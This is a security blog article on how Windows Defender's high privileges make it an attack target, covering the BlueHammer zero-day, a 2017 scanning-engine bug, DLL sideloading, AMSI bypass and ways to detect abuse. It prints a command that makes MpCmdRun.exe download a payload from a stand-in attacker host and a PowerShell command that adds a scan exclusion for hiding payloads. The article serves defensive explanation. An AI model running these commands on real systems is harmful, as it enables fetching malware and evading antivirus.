· 6 min read ·

The Privilege Paradox: Why Windows Defender Keeps Becoming a Hacking Tool

Source: lobsters

Security software occupies a uniquely dangerous position on any system it protects. To do its job, it needs to read every file, intercept every process, parse every network packet, and run with privileges that most other software is explicitly denied. Windows Defender is no exception. The recently disclosed BlueHammer zero-day, detailed on Hacking Passion, is a reminder that the software responsible for keeping attackers out can itself become the door.

This is not a freak occurrence. It is a structural problem baked into the architecture of endpoint protection software, and Windows Defender has a long and well-documented history of being weaponized against the systems it guards.

How Windows Defender Runs

The core of Windows Defender is MsMpEng.exe, the Antimalware Service Executable. It runs as SYSTEM, the highest privilege level available to user-mode processes on Windows. This is not a design oversight; it is a requirement. Real-time file scanning, process injection detection, and boot-sector inspection cannot be done from a low-integrity process. Starting with Windows 10, Microsoft added Protected Process Light (PPL) support for Defender, which is supposed to make the service harder to tamper with or terminate.

The secondary binary most attackers care about is MpCmdRun.exe, Defender’s command-line interface. It runs under the same security context, is signed by Microsoft, and is present on every modern Windows installation. The LOLBAS project documents its most relevant abuse primitive:

MpCmdRun.exe -DownloadFile -url https://attacker.example.com/payload.exe -path C:\ProgramData\payload.exe

This works. A signed Microsoft binary downloads arbitrary content from the internet, and because it is a legitimate security tool, many endpoint detection rules and network egress controls have historically allowed it. Defenders who do not monitor MpCmdRun.exe outbound connections are running blind on a significant lateral movement primitive.

The Scanning Engine as Attack Surface

The more dangerous category of Windows Defender vulnerability is not the LOLBin abuse above; it is vulnerabilities in the scanning engine itself. Because Defender must parse every file format that malware might arrive in, it ships an enormous amount of file parsing code: JavaScript interpreters, emulation layers, archive decompressors, document parsers. Each of those parsers is a potential vulnerability.

In 2017, Google Project Zero researchers Tavis Ormandy and Natalie Silvanovich discovered CVE-2017-0290, a critical remote code execution bug in Defender’s NScript engine, which was responsible for evaluating JavaScript-like content during scans. The exploit required no user interaction. An attacker who sent a malicious email to a victim’s Outlook client could achieve remote code execution on the system, because Defender would scan the email body and trigger the bug during the scan itself, before the user ever opened the message. The process that executed the attacker’s code was MsMpEng.exe, running as SYSTEM.

Ormandy described the situation bluntly at the time: the attack surface was reachable from any angle, across any protocol, and the sandbox protections that would normally limit the damage were absent because Defender’s scanning engine was explicitly excluded from many of those restrictions.

DLL Side-Loading Through Trusted Processes

Another durable technique involves Windows Defender’s own process hierarchy and DLL search order. When a high-privilege process loads a DLL, Windows resolves it using a search path that, in certain configurations, includes directories writable by low-privilege users. If an attacker can place a malicious DLL with the right name in a directory that MsMpEng.exe or MpCmdRun.exe searches before finding the legitimate version, they can achieve code execution under Defender’s identity.

This pattern, known as DLL sideloading or search-order hijacking, has been documented repeatedly in the MITRE ATT&CK framework and has appeared in Defender-specific contexts more than once. The Protected Process Light designation does not fully prevent this class of attack because the vulnerability occurs at load time, before the process has fully initialized its protection model.

Exclusion Paths as Persistence Mechanisms

Defender’s exclusion system, intended to let developers and administrators exempt trusted paths from real-time scanning, has become a useful persistence primitive. An attacker with administrative access can add a directory exclusion via PowerShell:

Add-MpPreference -ExclusionPath "C:\ProgramData\Updates\"

Any payload dropped in that path subsequently runs without Defender interference. This is documented, widely used in post-exploitation frameworks, and detectable if you are monitoring for changes to Defender’s configuration keys in the registry at HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions. Many organizations are not.

The AMSI Layer and Why It Gets Bypassed

The Antimalware Scan Interface (AMSI) was introduced in Windows 10 as a bridge between scripting engines and Defender. PowerShell, VBScript, JavaScript, and other script hosts call AMSI to let Defender inspect script content before execution. It was a meaningful improvement.

It also spawned an entire category of bypass research. Because AMSI is implemented as a DLL (amsi.dll) loaded into the process that calls it, attackers running inside that process can patch the AMSI functions in memory to always return a clean result. The technique involves overwriting the first few bytes of AmsiScanBuffer to force an immediate return with a non-malicious status code. Numerous variations of this have been published and are integrated into frameworks like Cobalt Strike and Metasploit. Microsoft has iteratively hardened AMSI against in-process patching, but the fundamental architecture, where the inspection layer lives in the same process as the thing being inspected, limits how far those mitigations can go.

What BlueHammer Represents

BlueHammer sits within this lineage. The specific zero-day uses Defender’s own trusted, privileged process infrastructure to execute code or escalate privileges that an attacker otherwise could not reach. The discovery fits a pattern going back years: security researchers and threat actors alike have learned that antivirus software, Windows Defender included, is among the highest-value targets on a Windows system precisely because of what it is allowed to do.

The underlying problem is not a fixable implementation bug in the traditional sense. Defender needs high privileges to function. It needs to parse untrusted content. It needs to download updates from the internet. Each of those capabilities is also, under attacker control, a weapon. You cannot remove the capability without removing the protection.

Microsoft has moved incrementally toward isolating Defender components using processes with reduced privileges and tighter sandbox policies. The Microsoft Defender for Endpoint enterprise product includes behavioral monitoring of Defender’s own processes, which is a reasonable mitigation: watch the watcher. But the gap between that enterprise telemetry and what a standard Windows installation collects remains large.

What Organizations Should Be Doing

A few concrete things that matter:

Monitor MpCmdRun.exe network connections. There is no legitimate reason for MpCmdRun.exe to initiate outbound connections outside of update channels. Alert on any connection it makes to non-Microsoft infrastructure.

Audit Defender exclusions regularly. Pull the exclusion list from every endpoint and alert on additions. An exclusion added after business hours to a staging server is a signal worth investigating.

Log Defender configuration changes. Changes to Defender policy via registry or PowerShell cmdlets should generate alerts in your SIEM. They rarely do by default.

Treat PPL bypass research as relevant. Academic and security research on Protected Process Light bypass techniques continues to advance. PPL is a meaningful defense, but it is not a hard boundary.

Patch quickly when Defender CVEs ship. Defender updates outside the normal Patch Tuesday cycle regularly. MsMpEng.exe has a version number; track it.

The Broader Point

There is a tendency to treat antivirus software as a terminal point in a security stack: install it, configure it, and assume the rest is handled. BlueHammer and its predecessors push back on that framing. Security software that holds SYSTEM privileges on every endpoint in an organization is itself a risk surface that needs monitoring, auditing, and threat modeling.

The trust we extend to security tools is not free. It is borrowed against the assumption that those tools are harder to compromise than the things they protect. That assumption has been wrong often enough that it deserves to be treated skeptically.

Was this interesting?